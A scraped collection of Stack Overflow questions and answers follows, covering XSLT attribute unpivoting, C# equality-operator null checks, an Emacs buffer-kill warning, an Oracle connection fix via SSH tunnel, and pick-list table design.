a text file. Start thinking of the common tasks you do, and write small tools - in WHATEVER LANGAUGE(S) - to make those things TRIVIAL to do. And if your tools turn out to have lousy performance? Guess what - it's because your flat text file is a cruddy format. But that's just my opinion. :)
86,919
<p>I have a simple xml document that looks like the following snippet. I need to write a XSLT transform that basically 'unpivots' this document based on some of the attributes.</p> <pre><code>&lt;?xml version="1.0" encoding="utf-8" ?&gt; &lt;root xmlns:z="foo"&gt; &lt;z:row A="1" X="2" Y="n1" Z="500"/&gt; &lt;z:row A="2" X="5" Y="n2" Z="1500"/&gt; &lt;/root&gt; </code></pre> <p>This is what I expect the output to be -</p> <pre><code>&lt;?xml version="1.0" encoding="utf-8" ?&gt; &lt;root xmlns:z="foo"&gt; &lt;z:row A="1" X="2" /&gt; &lt;z:row A="1" Y="n1" /&gt; &lt;z:row A="1" Z="500"/&gt; &lt;z:row A="2" X="5" /&gt; &lt;z:row A="2" Y="n2"/&gt; &lt;z:row A="2" Z="1500"/&gt; &lt;/root&gt; </code></pre> <p>Appreciate your help.</p>
[ { "answer_id": 87086, "author": "Darrel Miller", "author_id": 6819, "author_profile": "https://Stackoverflow.com/users/6819", "pm_score": 0, "selected": false, "text": "<p>Here is a bit of a brute force way:</p>\n\n<p>\n </p>\n\n<pre><code>&lt;xsl:template match=\"z:row\"&gt;\n &lt;xsl:element name=\"z:row\"&gt;\n &lt;xsl:attribute name=\"A\"&gt;\n &lt;xsl:value-of select=\"@A\"/&gt;\n &lt;/xsl:attribute&gt;\n &lt;xsl:attribute name=\"X\"&gt;\n &lt;xsl:value-of select=\"@X\"/&gt;\n &lt;/xsl:attribute&gt;\n &lt;/xsl:element&gt;\n &lt;xsl:element name=\"z:row\"&gt;\n &lt;xsl:attribute name=\"A\"&gt;\n &lt;xsl:value-of select=\"@A\"/&gt;\n &lt;/xsl:attribute&gt;\n &lt;xsl:attribute name=\"Y\"&gt;\n &lt;xsl:value-of select=\"@Y\"/&gt;\n &lt;/xsl:attribute&gt;\n &lt;/xsl:element&gt;\n &lt;xsl:element name=\"z:row\"&gt;\n &lt;xsl:attribute name=\"A\"&gt;\n &lt;xsl:value-of select=\"@A\"/&gt;\n &lt;/xsl:attribute&gt;\n &lt;xsl:attribute name=\"Z\"&gt;\n &lt;xsl:value-of select=\"@Z\"/&gt;\n &lt;/xsl:attribute&gt;\n &lt;/xsl:element&gt;\n&lt;/xsl:template&gt;\n\n\n&lt;xsl:template match=\"@* | node()\"&gt;\n &lt;xsl:copy&gt;\n &lt;xsl:apply-templates select=\"@* | node()\"/&gt;\n &lt;/xsl:copy&gt;\n&lt;/xsl:template&gt;\n</code></pre>\n\n<p></p>\n" }, { "answer_id": 87097, "author": "Steve Jessop", "author_id": 13005, "author_profile": "https://Stackoverflow.com/users/13005", "pm_score": 2, "selected": true, "text": "<pre><code>&lt;xsl:template match=\"row\"&gt;\n &lt;row A=\"{$A}\" X=\"{$X}\" /&gt;\n &lt;row A=\"{$A}\" Y=\"{$Y}\" /&gt;\n &lt;row A=\"{$A}\" Z=\"{$Z}\" /&gt;\n&lt;/xsl:template&gt;\n</code></pre>\n\n<p>Plus obvious boilerplate.</p>\n" }, { "answer_id": 87228, "author": "Garth Gilmour", "author_id": 2635682, "author_profile": "https://Stackoverflow.com/users/2635682", "pm_score": 1, "selected": false, "text": "<p>This is more complex but also more generic:</p>\n\n<pre><code>&lt;xsl:template match=\"z:row\"&gt;\n &lt;xsl:variable name=\"attr\" select=\"@A\"/&gt;\n &lt;xsl:for-each select=\"@*[(local-name() != 'A')]\"&gt;\n &lt;xsl:element name=\"z:row\"&gt;\n &lt;xsl:copy-of select=\"$attr\"/&gt;\n &lt;xsl:attribute name=\"{name()}\"&gt;&lt;xsl:value-of select=\".\"/&gt;&lt;/xsl:attribute&gt;\n &lt;/xsl:element&gt;\n &lt;/xsl:for-each&gt;\n&lt;/xsl:template&gt;\n</code></pre>\n" }, { "answer_id": 90919, "author": "JeniT", "author_id": 6739, "author_profile": "https://Stackoverflow.com/users/6739", "pm_score": 2, "selected": false, "text": "<p>Here's the full stylesheet you need (since the namespaces are important):</p>\n\n<pre><code>&lt;xsl:stylesheet version=\"1.0\"\n xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\"\n xmlns:z=\"foo\"&gt;\n\n&lt;xsl:template match=\"root\"&gt;\n &lt;root&gt;\n &lt;xsl:apply-templates /&gt;\n &lt;/root&gt;\n&lt;/xsl:template&gt;\n\n&lt;xsl:template match=\"z:row\"&gt;\n &lt;xsl:variable name=\"A\" select=\"@A\" /&gt;\n &lt;xsl:for-each select=\"@*[local-name() != 'A']\"&gt;\n &lt;z:row A=\"{$A}\"&gt;\n &lt;xsl:attribute name=\"{local-name()}\"&gt;\n &lt;xsl:value-of select=\".\" /&gt;\n &lt;/xsl:attribute&gt;\n &lt;/z:row&gt;\n &lt;/xsl:for-each&gt;\n&lt;/xsl:template&gt;\n\n&lt;/xsl:stylesheet&gt;\n</code></pre>\n\n<p>I much prefer using literal result elements (eg <code>&lt;z:row&gt;</code>) rather than <code>&lt;xsl:element&gt;</code> and attribute value templates (those <code>{}</code>s in attribute values) rather than <code>&lt;xsl:attribute&gt;</code> where possible as it makes the code shorter and makes it easier to see the structure of the result document that you're generating. Others prefer <code>&lt;xsl:element&gt;</code> and <code>&lt;xsl:attribute&gt;</code> because then everything is an XSLT instruction.</p>\n\n<p>If you're using XSLT 2.0, there are a couple of syntactic niceties that help, namely the <code>except</code> operator in XPath and the ability to use a <code>select</code> attribute directly on <code>&lt;xsl:attribute&gt;</code>:</p>\n\n<pre><code>&lt;xsl:stylesheet version=\"2.0\"\n xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\"\n xmlns:xs=\"http://www.w3.org/2001/XMLSchema\"\n exclude-result-prefixes=\"xs\"\n xmlns:z=\"foo\"&gt;\n\n&lt;xsl:template match=\"root\"&gt;\n &lt;root&gt;\n &lt;xsl:apply-templates /&gt;\n &lt;/root&gt;\n&lt;/xsl:template&gt;\n\n&lt;xsl:template match=\"z:row\"&gt;\n &lt;xsl:variable name=\"A\" as=\"xs:string\" select=\"@A\" /&gt;\n &lt;xsl:for-each select=\"@* except @A\"&gt;\n &lt;z:row A=\"{$A}\"&gt;\n &lt;xsl:attribute name=\"{local-name()}\" select=\".\" /&gt;\n &lt;/z:row&gt;\n &lt;/xsl:for-each&gt;\n&lt;/xsl:template&gt;\n\n&lt;/xsl:stylesheet&gt;\n</code></pre>\n" } ]
2008/09/17
[ "https://Stackoverflow.com/questions/86919", "https://Stackoverflow.com", "https://Stackoverflow.com/users/4088/" ]
I have a simple xml document that looks like the following snippet. I need to write a XSLT transform that basically 'unpivots' this document based on some of the attributes. ``` <?xml version="1.0" encoding="utf-8" ?> <root xmlns:z="foo"> <z:row A="1" X="2" Y="n1" Z="500"/> <z:row A="2" X="5" Y="n2" Z="1500"/> </root> ``` This is what I expect the output to be - ``` <?xml version="1.0" encoding="utf-8" ?> <root xmlns:z="foo"> <z:row A="1" X="2" /> <z:row A="1" Y="n1" /> <z:row A="1" Z="500"/> <z:row A="2" X="5" /> <z:row A="2" Y="n2"/> <z:row A="2" Z="1500"/> </root> ``` Appreciate your help.
``` <xsl:template match="row"> <row A="{$A}" X="{$X}" /> <row A="{$A}" Y="{$Y}" /> <row A="{$A}" Z="{$Z}" /> </xsl:template> ``` Plus obvious boilerplate.
86,947
<blockquote> <p><strong>Possible Duplicate:</strong><br> <a href="https://stackoverflow.com/questions/73713/how-do-i-check-for-nulls-in-an-operator-overload-without-infinite-recursion">How do I check for nulls in an &#39;==&#39; operator overload without infinite recursion?</a> </p> </blockquote> <p>When I overload the == operator for objects I typically write something like this:</p> <pre><code> public static bool operator ==(MyObject uq1, MyObject uq2) { if (((object)uq1 == null) || ((object)uq2 == null)) return false; return uq1.Field1 == uq2.Field1 &amp;&amp; uq1.Field2 == uq2.Field2; } </code></pre> <p>If you don't down-cast to object the function recurses into itself but I have to wonder if there isn't a better way?</p>
[ { "answer_id": 86968, "author": "Juanma", "author_id": 3730, "author_profile": "https://Stackoverflow.com/users/3730", "pm_score": 2, "selected": false, "text": "<p>ReferenceEquals(object obj1, object obj2)</p>\n" }, { "answer_id": 86986, "author": "Timothy Carter", "author_id": 4660, "author_profile": "https://Stackoverflow.com/users/4660", "pm_score": 0, "selected": false, "text": "<pre><code>if ((object)uq1 == null) \n return ((object)uq2 == null)\nelse if ((object)uq2 == null)\n return false;\nelse\n //return normal comparison\n</code></pre>\n\n<p>This compares them as equal when both are null.</p>\n" }, { "answer_id": 87008, "author": "Purfideas", "author_id": 4615, "author_profile": "https://Stackoverflow.com/users/4615", "pm_score": -1, "selected": false, "text": "<p>Follow the DB treatment:</p>\n\n<pre><code>null == &lt;anything&gt; is always false\n</code></pre>\n" }, { "answer_id": 87034, "author": "Scott Dorman", "author_id": 1559, "author_profile": "https://Stackoverflow.com/users/1559", "pm_score": 2, "selected": false, "text": "<p>@neouser99: That's the right solution, however the part that is missed is that when overriding the equality operator (the operator ==) you should also override the Equals function and simply make the operator call the function. Not all .NET languages support operator overloading, hence the reason for overriding the Equals function.</p>\n" }, { "answer_id": 87057, "author": "Philip Rieck", "author_id": 12643, "author_profile": "https://Stackoverflow.com/users/12643", "pm_score": 3, "selected": false, "text": "<p>As Microsoft says,</p>\n\n<blockquote>\n <p>A common error in overloads of\n operator == is to use (a == b), (a ==\n null), or (b == null) to check for\n reference equality. This instead\n results in a call to the overloaded\n operator ==, causing an infinite loop.\n Use ReferenceEquals or cast the type\n to Object, to avoid the loop.</p>\n</blockquote>\n\n<p>So use ReferenceEquals(a, null) || ReferenceEquals(b, null) is one possibility, but casting to object is just as good (is actually equivalent, I believe). </p>\n\n<p>So yes, it seems there should be a better way, but the method you use is the one recommended.</p>\n\n<p>However, as has been pointed out, you really SHOULD override Equals as well when overriding ==. With LINQ providers being written in different languages and doing expression resolution at runtime, who knows when you'll be bit by not doing it even if you own all the code yourself.</p>\n" }, { "answer_id": 87069, "author": "xtofl", "author_id": 6610, "author_profile": "https://Stackoverflow.com/users/6610", "pm_score": -1, "selected": false, "text": "<p>But why don't you create an object member function? It can certainly not be called on a Null reference, so you're sure the first argument is not Null.</p>\n\n<p>Indeed, you lose the symmetricity of a binary operator, but still...</p>\n\n<p>(note on Purfideas' answer: Null might equal Null if needed as a sentinel value of an array)</p>\n\n<p>Also think of the semantics of your == function: sometimes you <em>really</em> want to be able to choose whether you test for </p>\n\n<ul>\n<li>Identity (points to same object)</li>\n<li>Value Equality</li>\n<li>Equivalence ( e.g. 1.000001 is equivalent to .9999999 )</li>\n</ul>\n" }, { "answer_id": 87403, "author": "ripper234", "author_id": 11236, "author_profile": "https://Stackoverflow.com/users/11236", "pm_score": 0, "selected": false, "text": "<p>Just use Resharper to create you Equals &amp; GetHashCode methods. It creates the most comprehensive code for this purpose.</p>\n\n<p><strong>Update</strong>\nI didn't post it on purpose - I prefer people to use Resharper's function instead of copy-pasting, because the code changes from class to class. As for developing C# without Resharper - I don't understand how you live, man.</p>\n\n<p>Anyway, here is the code for a simple class (Generated by Resharper 3.0, the older version - I have 4.0 at work, I don't currently remember if it creates identical code)</p>\n\n<pre><code>public class Foo : IEquatable&lt;Foo&gt;\n{\n public static bool operator !=(Foo foo1, Foo foo2)\n {\n return !Equals(foo1, foo2);\n }\n\n public static bool operator ==(Foo foo1, Foo foo2)\n {\n return Equals(foo1, foo2);\n }\n\n public bool Equals(Foo foo)\n {\n if (foo == null) return false;\n return y == foo.y &amp;&amp; x == foo.x;\n }\n\n public override bool Equals(object obj)\n {\n if (ReferenceEquals(this, obj)) return true;\n return Equals(obj as Foo);\n }\n\n public override int GetHashCode()\n {\n return y + 29*x;\n }\n\n private int y;\n private int x;\n}\n</code></pre>\n" } ]
2008/09/17
[ "https://Stackoverflow.com/questions/86947", "https://Stackoverflow.com", "https://Stackoverflow.com/users/5056/" ]
> > **Possible Duplicate:** > > [How do I check for nulls in an '==' operator overload without infinite recursion?](https://stackoverflow.com/questions/73713/how-do-i-check-for-nulls-in-an-operator-overload-without-infinite-recursion) > > > When I overload the == operator for objects I typically write something like this: ``` public static bool operator ==(MyObject uq1, MyObject uq2) { if (((object)uq1 == null) || ((object)uq2 == null)) return false; return uq1.Field1 == uq2.Field1 && uq1.Field2 == uq2.Field2; } ``` If you don't down-cast to object the function recurses into itself but I have to wonder if there isn't a better way?
As Microsoft says, > > A common error in overloads of > operator == is to use (a == b), (a == > null), or (b == null) to check for > reference equality. This instead > results in a call to the overloaded > operator ==, causing an infinite loop. > Use ReferenceEquals or cast the type > to Object, to avoid the loop. > > > So use ReferenceEquals(a, null) || ReferenceEquals(b, null) is one possibility, but casting to object is just as good (is actually equivalent, I believe). So yes, it seems there should be a better way, but the method you use is the one recommended. However, as has been pointed out, you really SHOULD override Equals as well when overriding ==. With LINQ providers being written in different languages and doing expression resolution at runtime, who knows when you'll be bit by not doing it even if you own all the code yourself.
86,963
<p>More than once I've lost work by accidentally killing a temporary buffer in Emacs. Can I set up Emacs to give me a warning when I kill a buffer not associated with a file?</p>
[ { "answer_id": 87080, "author": "EfForEffort", "author_id": 14113, "author_profile": "https://Stackoverflow.com/users/14113", "pm_score": 5, "selected": true, "text": "<p>Make a function that will ask you whether you're sure when the buffer has been edited and is not associated with a file. Then add that function to the list <code>kill-buffer-query-functions</code>.</p>\n\n<p>Looking at the documentation for <a href=\"http://www.gnu.org/software/emacs/manual/html_node/elisp/Buffer-File-Name.html\" rel=\"nofollow noreferrer\">Buffer File Name</a> you understand:</p>\n\n<ul>\n<li>a buffer is not visiting a file if and only if the variable <code>buffer-file-name</code> is nil</li>\n</ul>\n\n<p>Use that insight to write the function:</p>\n\n<pre class=\"lang-lisp prettyprint-override\"><code>(defun maybe-kill-buffer ()\n (if (and (not buffer-file-name)\n (buffer-modified-p))\n ;; buffer is not visiting a file\n (y-or-n-p \"This buffer is not visiting a file but has been edited. Kill it anyway? \")\n t))\n</code></pre>\n\n<p>And then add the function to the hook like so:</p>\n\n<pre><code>(add-to-list 'kill-buffer-query-functions 'maybe-kill-buffer)\n</code></pre>\n" }, { "answer_id": 87281, "author": "cjm", "author_id": 8355, "author_profile": "https://Stackoverflow.com/users/8355", "pm_score": 2, "selected": false, "text": "<pre><code>(defun maybe-kill-buffer ()\n (if (and (not buffer-file-name)\n (buffer-modified-p))\n ;; buffer is not visiting a file\n (y-or-n-p (format \"Buffer %s has been edited. Kill it anyway? \"\n (buffer-name)))\n t))\n\n(add-to-list 'kill-buffer-query-functions 'maybe-kill-buffer)\n</code></pre>\n" } ]
2008/09/17
[ "https://Stackoverflow.com/questions/86963", "https://Stackoverflow.com", "https://Stackoverflow.com/users/207/" ]
More than once I've lost work by accidentally killing a temporary buffer in Emacs. Can I set up Emacs to give me a warning when I kill a buffer not associated with a file?
Make a function that will ask you whether you're sure when the buffer has been edited and is not associated with a file. Then add that function to the list `kill-buffer-query-functions`. Looking at the documentation for [Buffer File Name](http://www.gnu.org/software/emacs/manual/html_node/elisp/Buffer-File-Name.html) you understand: * a buffer is not visiting a file if and only if the variable `buffer-file-name` is nil Use that insight to write the function: ```lisp (defun maybe-kill-buffer () (if (and (not buffer-file-name) (buffer-modified-p)) ;; buffer is not visiting a file (y-or-n-p "This buffer is not visiting a file but has been edited. Kill it anyway? ") t)) ``` And then add the function to the hook like so: ``` (add-to-list 'kill-buffer-query-functions 'maybe-kill-buffer) ```
86,987
<p>I'm trying this with Oracle SQL Developer and am on an Intel MacBook Pro. But I believe this same error happens with other clients. I can ping the server hosting the database fine so it appears not to be an actual network problem.</p> <p>Also, I believe I'm filling in the connection info correctly. It's something like this:</p> <pre> host = foo1.com port = 1530 server = DEDICATED service_name = FOO type = session method = basic </pre>
[ { "answer_id": 87429, "author": "Hank Gay", "author_id": 4203, "author_profile": "https://Stackoverflow.com/users/4203", "pm_score": 1, "selected": false, "text": "<p>That's the message you get when you don't have the right connection parameters. The SID, in particular, tends to trip up newcomers.</p>\n" }, { "answer_id": 87807, "author": "Raimonds Simanovskis", "author_id": 16829, "author_profile": "https://Stackoverflow.com/users/16829", "pm_score": 1, "selected": false, "text": "<p>If you want to connect to database on other host then you need to know</p>\n\n<ul>\n<li>hostname</li>\n<li>port number (by default 1521)</li>\n<li>SID name</li>\n</ul>\n\n<p>if you get the connection error that you mentioned in your question then you have not specified correctly either hostname or port number. Try</p>\n\n<pre>\ntelnet hostname portnumber\n</pre>\n\n<p>from Terminal to verify if you can connect to portnumber (by default 1521) - if not then probably port number is incorrect.</p>\n" }, { "answer_id": 124193, "author": "dreeves", "author_id": 4234, "author_profile": "https://Stackoverflow.com/users/4234", "pm_score": 1, "selected": true, "text": "<p>My problem turned out to be some kind of ACL problem. I needed to SSH tunnel in through a \"blessed host\". I put the following in my .ssh/config</p>\n\n<pre><code>Host=blessedhost\nHostName=blessedhost.whatever.com\nUser=alice\nCompression=yes\nProtocol=2\nLocalForward=2202 oraclemachine.whatever.com:1521\n\nHost=foo\nHostName=localhost\nPort=2202\nUser=alice\nCompression=yes\nProtocol=2\n</code></pre>\n\n<p>(I don't think the second block is really necessary.) Then I change the host and port in the oracle connection info to localhost:2202.</p>\n" } ]
2008/09/17
[ "https://Stackoverflow.com/questions/86987", "https://Stackoverflow.com", "https://Stackoverflow.com/users/4234/" ]
I'm trying this with Oracle SQL Developer and am on an Intel MacBook Pro. But I believe this same error happens with other clients. I can ping the server hosting the database fine so it appears not to be an actual network problem. Also, I believe I'm filling in the connection info correctly. It's something like this: ``` host = foo1.com port = 1530 server = DEDICATED service_name = FOO type = session method = basic ```
My problem turned out to be some kind of ACL problem. I needed to SSH tunnel in through a "blessed host". I put the following in my .ssh/config ``` Host=blessedhost HostName=blessedhost.whatever.com User=alice Compression=yes Protocol=2 LocalForward=2202 oraclemachine.whatever.com:1521 Host=foo HostName=localhost Port=2202 User=alice Compression=yes Protocol=2 ``` (I don't think the second block is really necessary.) Then I change the host and port in the oracle connection info to localhost:2202.
86,992
<p>I have an application with multiple &quot;pick list&quot; entities, such as used to populate choices of dropdown selection boxes. These entities need to be stored in the database. How do one persist these entities in the database?</p> <p>Should I create a new table for each pick list? Is there a better solution?</p>
[ { "answer_id": 87014, "author": "neouser99", "author_id": 10669, "author_profile": "https://Stackoverflow.com/users/10669", "pm_score": 0, "selected": false, "text": "<p>Depending on your needs, you can just have an options table that has a list identifier and a list value as the primary key.</p>\n\n<pre><code>select optionDesc from Options where 'MyList' = optionList\n</code></pre>\n\n<p>You can then extend it with an order column, etc. If you have an ID field, that is how you can reference your answers back... of if it is often changing, you can just copy the answer value to the answer table.</p>\n" }, { "answer_id": 87017, "author": "Chris J", "author_id": 16059, "author_profile": "https://Stackoverflow.com/users/16059", "pm_score": 0, "selected": false, "text": "<p>If you don't mind using strings for the actual values, you can simply give each list a different list_id in value and populate a single table with :</p>\n\n<p>item_id: int</p>\n\n<p>list_id: int</p>\n\n<p>text: varchar(50)</p>\n\n<p>Seems easiest unless you need multiple things per list item</p>\n" }, { "answer_id": 87018, "author": "mattruma", "author_id": 1768, "author_profile": "https://Stackoverflow.com/users/1768", "pm_score": 0, "selected": false, "text": "<p>We actually created entities to handle <strong>simple</strong> pick lists. We created a Lookup table, that holds all the available pick lists, and a LookupValue table that contains all the name/value records for the Lookup. </p>\n\n<p>Works great for us when we need it to be <strong>simple</strong>.</p>\n" }, { "answer_id": 87020, "author": "Stephen Wrighton", "author_id": 7516, "author_profile": "https://Stackoverflow.com/users/7516", "pm_score": 0, "selected": false, "text": "<p>I've done this in two different ways:\n1) unique tables per list\n2) a master table for the list, with views to give specific ones</p>\n\n<p>I tend to prefer the initial option as it makes updating lists easier (at least in my opinion). </p>\n" }, { "answer_id": 87026, "author": "Alex B", "author_id": 6180, "author_profile": "https://Stackoverflow.com/users/6180", "pm_score": 1, "selected": false, "text": "<p>We have followed the pattern of a new table for each pick list. For example:</p>\n\n<p>Table FRUIT has columns ID, NAME, and DESCRIPTION.<br>\nValues might include:<br>\n15000, Apple, Red fruit<br>\n15001, Banana, yellow and yummy<br>\n... </p>\n\n<p>If you have a need to reference FRUIT in another table, you would call the column FRUIT_ID and reference the ID value of the row in the FRUIT table.</p>\n" }, { "answer_id": 87028, "author": "Per Hornshøj-Schierbeck", "author_id": 11619, "author_profile": "https://Stackoverflow.com/users/11619", "pm_score": 0, "selected": false, "text": "<p>Try turning the question around. Why do you need to pull it from the database? Isn't the data part of your model but you really want to persist it in the database? You could use an OR mapper like linq2sql or nhibernate (assuming you're in the .net world) or depending on the data you could store it manually in a table each - there are situations where it would make good sense to put it all in the same table but do consider this only if you feel it makes really good sense. Normally putting different data in different tables makes it a lot easier to (later) understand what is going on.</p>\n" }, { "answer_id": 87043, "author": "Alex Weinstein", "author_id": 16668, "author_profile": "https://Stackoverflow.com/users/16668", "pm_score": 0, "selected": false, "text": "<p>There are several approaches here. </p>\n\n<p>1) Create one table per pick list. Each of the tables would have the ID and Name columns; the value that was picked by the user would be stored based on the ID of the item that was selected. </p>\n\n<p>2) Create a single table with all pick lists. Columns: ID; list ID (or list type); Name. When you need to populate a list, do a query \"select all items where list ID = ...\". Advantage of this approach: really easy to add pick lists; disadvantage: a little more difficult to write group-by style queries (for example, give me the number of records that picked value X\".</p>\n\n<p>I personally prefer option 1, it seems \"cleaner\" to me. </p>\n" }, { "answer_id": 87051, "author": "Blorgbeard", "author_id": 369, "author_profile": "https://Stackoverflow.com/users/369", "pm_score": 4, "selected": true, "text": "<p>Well, you could do something like this:</p>\n\n<pre><code>PickListContent\n\nIdList IdPick Text \n1 1 Apples\n1 2 Oranges\n1 3 Pears\n2 1 Dogs\n2 2 Cats\n</code></pre>\n\n<p>and optionally..</p>\n\n<pre><code>PickList\n\nId Description\n1 Fruit\n2 Pets\n</code></pre>\n" }, { "answer_id": 87064, "author": "theo", "author_id": 7870, "author_profile": "https://Stackoverflow.com/users/7870", "pm_score": 3, "selected": false, "text": "<p>In the past I've created a table that has the Name of the list and the acceptable values, then queried it to display the list. I also include a underlying value, so you can return a display value for the list, and a bound value that may be much uglier (a small int for normalized data, for instance)</p>\n\n<pre><code>CREATE TABLE PickList(\n ListName varchar(15),\n Value varchar(15),\n Display varchar(15),\n Primary Key (ListName, Display)\n)\n</code></pre>\n\n<p>You could also add a sortOrder field if you want to manually define the order to display them in.</p>\n" }, { "answer_id": 87070, "author": "Adrian Dunston", "author_id": 8344, "author_profile": "https://Stackoverflow.com/users/8344", "pm_score": 1, "selected": false, "text": "<p>Create one table for lists and one table for list_options.</p>\n\n<pre><code> # Put in the name of the list\n insert into lists (id, name) values (1, \"Country in North America\");\n\n # Put in the values of the list\n insert into list_options (id, list_id, value_text) values\n (1, 1, \"Canada\"),\n (2, 1, \"United States of America\"),\n (3, 1, \"Mexico\");\n</code></pre>\n" }, { "answer_id": 87078, "author": "JasonS", "author_id": 1865, "author_profile": "https://Stackoverflow.com/users/1865", "pm_score": 0, "selected": false, "text": "<p>You can use either a separate table for each (my preferred), or a common picklist table that has a type column you can use to filter on from your application. I'm not sure that one has a great benefit over the other generally speaking. </p>\n\n<p>If you have more than 25 or so, organizationally it might be easier to use the single table solution so you don't have several picklist tables cluttering up your database.</p>\n\n<p>Performance might be a hair better using separate tables for each if your lists are very long, but this is probably negligible provided your indexes and such are set up properly. </p>\n\n<p>I like using separate tables so that if something changes in a picklist - it needs and additional attribute for instance - you can change just that picklist table with little effect on the rest of your schema. In the single table solution, you will either have to denormalize your picklist data, pull that picklist out into a separate table, etc. Constraints are also easier to enforce in the separate table solution.</p>\n" }, { "answer_id": 87100, "author": "Sklivvz", "author_id": 7028, "author_profile": "https://Stackoverflow.com/users/7028", "pm_score": 3, "selected": false, "text": "<p>It depends on various things:</p>\n<ul>\n<li><p>if they are immutable and non relational (think &quot;names of US States&quot;) an argument could be made that they should not be in the database at all: after all they are simply formatting of something simpler (like the two character code assigned). This has the added advantage that you don't need a round trip to the db to fetch something that never changes in order to populate the combo box.</p>\n<p>You can then use an Enum in code and a constraint in the DB. In case of localized display, so you need a different formatting for each culture, then you can use XML files or other resources to store the literals.</p>\n</li>\n<li><p>if they are relational (think &quot;states - capitals&quot;) I am not very convinced either way... but lately I've been using XML files, database constraints and javascript to populate. It works quite well and it's easy on the DB.</p>\n</li>\n<li><p>if they are not read-only but rarely change (i.e. typically cannot be changed by the end user but only by some editor or daily batch), then I would still consider the opportunity of not storing them in the DB... it would depend on the particular case.</p>\n</li>\n<li><p>in other cases, storing in the DB is the way (think of the tags of StackOverflow... they are &quot;lookup&quot; but can also be changed by the end user) -- possibly with some caching if needed. It requires some careful locking, but it would work well enough.</p>\n</li>\n</ul>\n" }, { "answer_id": 87104, "author": "JosephStyons", "author_id": 672, "author_profile": "https://Stackoverflow.com/users/672", "pm_score": 0, "selected": false, "text": "<p>This has served us well:</p>\n\n<pre><code>SQL&gt; desc aux_values;\n Name Type\n ----------------------------------------- ------------\n VARIABLE_ID VARCHAR2(20)\n VALUE_SEQ NUMBER\n DESCRIPTION VARCHAR2(80)\n INTEGER_VALUE NUMBER\n CHAR_VALUE VARCHAR2(40)\n FLOAT_VALUE FLOAT(126)\n ACTIVE_FLAG VARCHAR2(1)\n</code></pre>\n\n<p>The \"Variable ID\" indicates the kind of data, like \"Customer Status\" or \"Defect Code\" or whatever you need. Then you have several entries, each one with the appropriate data type column filled in. So for a status, you'd have several entries with the \"CHAR_VALUE\" filled in.</p>\n" }, { "answer_id": 87182, "author": "Ed Lucas", "author_id": 12551, "author_profile": "https://Stackoverflow.com/users/12551", "pm_score": 1, "selected": false, "text": "<p>Two tables. If you try to cram everything into one table then you break normalization (if you care about that). Here are examples:</p>\n\n<pre>\nLIST\n---------------\nLIST_ID (PK)\nNAME\nDESCR\n\n\nLIST_OPTION\n----------------------------\nLIST_OPTION_ID (PK)\nLIST_ID (FK)\nOPTION_NAME\nOPTION_VALUE\nMANUAL_SORT\n</pre>\n\n<p>The list table simply describes a pick list. The list_ option table describes each option in a given list. So your queries will always start with knowing which pick list you'd like to populate (either by name or ID) which you join to the list_ option table to pull all the options. The manual_sort column is there just in case you want to enforce a particular order other than by name or value. (BTW, whenever I try to post the words \"list\" and \"option\" connected with an underscore, the preview window goes a little wacky. That's why I put a space there.)</p>\n\n<p>The query would look something like:</p>\n\n<pre>\nselect\n b.option_name,\n b.option_value\nfrom\n list a,\n list_option b\nwhere\n a.name=\"States\"\nand\n a.list_id = b.list_id\norder by\n b.manual_sort asc\n</pre>\n\n<p>You'll also want to create an index on list.name if you think you'll ever use it in a where clause. The pk and fk columns will typically automatically be indexed. </p>\n\n<p>And please don't create a new table for each pick list unless you're putting in \"relationally relevant\" data that will be used elsewhere by the app. You'd be circumventing exactly the relational functionality that a database provides. You'd be better off statically defining pick lists as constants somewhere in a base class or a properties file (your choice on how to model the name-value pair).</p>\n" }, { "answer_id": 87211, "author": "Community", "author_id": -1, "author_profile": "https://Stackoverflow.com/users/-1", "pm_score": 1, "selected": false, "text": "<p>To answer the second question first: yes, I would create a separate table for each pick list in most cases. Especially if they are for completely different types of values (e.g. states and cities). The general table format I use is as follows:</p>\n\n<pre><code>id - identity or UUID field (I actually call the field xxx_id where xxx is the name of the table). \nname - display name of the item \ndisplay_order - small int of order to display. Default this value to something greater than 1 \n</code></pre>\n\n<p>If you want you could add a separate 'value' field but I just usually use the id field as the select box value. </p>\n\n<p>I generally use a select that orders first by display order, then by name, so you can order something alphabetically while still adding your own exceptions. For example, let's say you have a list of countries that you want in alpha order but have the US first and Canada second you could say <code>\"SELECT id, name FROM theTable ORDER BY display_order, name\" and set the display_order value for the US as 1, Canada as 2 and all other countries as 9.</code></p>\n\n<p>You can get fancier, such as having an 'active' flag so you can activate or deactivate options, or setting a 'x_type' field so you can group options, description column for use in tooltips, etc. But the basic table works well for most circumstances.</p>\n" }, { "answer_id": 87215, "author": "knightpfhor", "author_id": 17089, "author_profile": "https://Stackoverflow.com/users/17089", "pm_score": 2, "selected": false, "text": "<p>I've found that creating individual tables is the best idea.</p>\n\n<p>I've been down the road of trying to create one master table of all pick lists and then filtering out based on type. While it works, it has invariably created headaches down the line. For example you may find that something you presumed to be a simple pick list is not so simple and requires an extra field, do you now split this data into an additional table or extend you master list?</p>\n\n<p>From a database perspective, having individual tables makes it much easier to manage your relational integrity and it makes it easier to interpret the data in the database when you're not using the application</p>\n" } ]
2008/09/17
[ "https://Stackoverflow.com/questions/86992", "https://Stackoverflow.com", "https://Stackoverflow.com/users/8852/" ]
I have an application with multiple "pick list" entities, such as used to populate choices of dropdown selection boxes. These entities need to be stored in the database. How do one persist these entities in the database? Should I create a new table for each pick list? Is there a better solution?
Well, you could do something like this: ``` PickListContent IdList IdPick Text 1 1 Apples 1 2 Oranges 1 3 Pears 2 1 Dogs 2 2 Cats ``` and optionally.. ``` PickList Id Description 1 Fruit 2 Pets ```
87,021
